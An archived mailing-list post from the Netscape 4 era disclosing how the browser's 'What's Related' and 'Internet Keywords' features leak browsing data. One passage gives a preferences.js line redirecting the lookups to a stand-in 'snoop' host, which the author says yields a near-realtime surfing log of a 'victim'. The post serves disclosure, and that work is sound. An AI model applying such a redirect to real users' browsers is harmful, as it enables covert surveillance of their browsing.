#define WR "What's Related" I have received several emails pointing out that the default setting for WR is "After first use". Sorry about that mistake. I have also received several emails with various suggestions for how to block WR info-leak using various web server, firewall or proxy server configuration tricks. Thanks guys, I really appreciate the effort. But my original posting was more about alerting others to what I see as a "torpedo" feature in a commodity application, rather than a cry for help. (I had blocked WR in our firewall before posting.) John Hensley reports that Netscape-4.07 apparently disables WR if it is configured to go through a proxy server. I have not been able to verify this since I do not have a proxy server to test against. Can anyone confirm or refute this? George Hotelling points out that Netscape has a FAQ about WR, at: http://home.netscape.com/escapes/related/faq.html, and that WR does not send the parameters to a CGI. Perry Harrington and Kragen point out that DNS cache poisoning could be used to direct the WR lookups to an attacking host. This made me wonder just how the netscape binary gets the www-rl.netscape.com hostname. It turns out to be a built-in preference: pref("browser.related.provider", "http://www-rl.netscape.com/wtgn?"); If the preferences.js file is "enhanced" with something like: user_pref("browser.related.provider", "http://www.example.com/snoop?");, www.example.com will receive a near-realtime surfing log of the victim. I tested this with Netscape-4.06, and it seems to work. Of course, it could also enable an admin to direct WR queries to a server of his/her choice, without messing with a firewall. I wonder if it is possible to modify browser preferences with a javascript applet? If so, then setting browser.related.autoload to 0 and browser.related.enabled to true will force WR to 'always' and 'enabled'. Doug Monroe pointed me to a paper he co-authored: http://www.interhack.net/pubs/whatsrelated/, which contains a more detailed study of the WR implementation. It turns out that the WR feature also passes a cookie to www-rl.netscape.com on each query: the same cookie you get for all your netscape.com accesses. Doug also points out, that Netscape is not alone here: The basic technology was developed by Alexa Internet. Alexa still offers a free product with essentially the same functionality as WR. The alexa scheme is a bit more dynamic than Netscape's: The alexa client queries olin.alexa.com for a current list of WR servers. The caution about DNS also applies here. Dimitry Andric points out that the "Internet Keywords" feature in Netscape can also be problematic: It causes the browser to do a search-engine query at keyword.netscape.com. This is also a settable preference: user_pref("network.search.url", "http://keyword.netscape.com/"); will do the trick. The caution about DNS also applies here. One bit of good news: It seems that WR is disabled automatically for https: URLs. Some WR links: http://home.netscape.com/escapes/related/faq.html http://www.interhack.net/pubs/whatsrelated/ http://www.vortex.com/privacy/priv.07.17 http://news.flora.org/flora.comnet-www/1335 -- ---------------------------------------------------------------------- Flemming S. Johansen fsjat_private
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:22:54 PDT